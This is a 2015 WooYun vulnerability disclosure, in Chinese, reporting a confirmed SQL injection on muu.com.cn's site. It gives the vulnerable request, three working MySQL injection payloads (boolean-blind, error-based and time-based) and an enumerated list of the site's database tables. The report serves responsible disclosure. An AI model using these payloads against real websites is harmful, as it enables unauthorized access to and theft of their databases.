当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0115925

漏洞标题：漫悠悠主站SQL注射影响全站数据库

相关厂商：muu.com.cn

漏洞作者： 路人甲

提交时间：2015-05-25 18:38

修复时间：2015-07-09 18:48

公开时间：2015-07-09 18:48

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-25： 细节已通知厂商并且等待厂商处理中
2015-05-25： 厂商已经确认，细节仅向厂商公开
2015-06-04： 细节向核心白帽子及相关领域专家公开
2015-06-14： 细节向普通白帽子公开
2015-06-24： 细节向实习白帽子公开
2015-07-09： 细节向公众公开

简要描述：

233

详细说明：

好神奇，刚开始没登陆，能访问页面，试出是注入点了，
突然变成了404了，以为是发现了，把页面删除了，但是登陆后又OK了。
http://www.muu.com.cn/hd/20131225/christmas_2013_2.html?key=1
--------------------------------
GET /hd/20131225/christmas_2013_2.html?key=1 HTTP/1.1
Host: www.muu.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: ******打码区******
Connection: keep-alive

漏洞证明：

---
Parameter: key (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: key=-6696') OR 7122=7122 AND ('sQAu' LIKE 'sQAu
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: key=1') AND (SELECT 5690 FROM(SELECT COUNT(*),CONCAT(0x7170716a71,(SELECT (ELT(5690=5690,1))),0x716b787071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('ybIG' LIKE 'ybIG
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: key=1') AND (SELECT * FROM (SELECT(SLEEP(5)))DBqL) AND ('qosk' LIKE 'qosk
---
web application technology: JSP
back-end DBMS: MySQL 5.0
Database: muu_2014
[163 tables]
+----------------------------------+
| category                         |
| forum                            |
| forum_posts                      |
| forum_topics                     |
| spider                           |
| t_view_1                         |
| t_view_2                         |
| t_w_u_view                       |
| tb_active                        |
| tb_ad                            |
| tb_ad_stat_visit                 |
| tb_admin_recommend               |
| tb_album                         |
| tb_album_photo                   |
| tb_authorization                 |
| tb_authorization_work            |
| tb_blacklist                     |
| tb_bookmark                      |
| tb_broadcast                     |
| tb_bulletin                      |
| tb_classify                      |
| tb_collection                    |
| tb_comment                       |
| tb_comment_reply                 |
| tb_commercial_favorite           |
| tb_dic_bulltype                  |
| tb_dic_groupclass                |
| tb_dic_hittype                   |
| tb_dic_logtype                   |
| tb_dic_progress                  |
| tb_dic_ratingtype                |
| tb_dic_readerclass               |
| tb_dic_readpermiss               |
| tb_dic_recomtype                 |
| tb_dic_subjectclass              |
| tb_dic_syslogtype                |
| tb_dic_topicclass                |
| tb_dic_usertype                  |
| tb_dic_workclass                 |
| tb_editor_follow                 |
| tb_email                         |
| tb_excavate                      |
| tb_excavate_album                |
| tb_excavate_show                 |
。。。。。。。。。。。。。

修复方案：

~~

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-05-25 18:46

厂商回复：

谢谢您的提交，我们会尽快处理

最新状态：

暂无

漏洞评价：

评论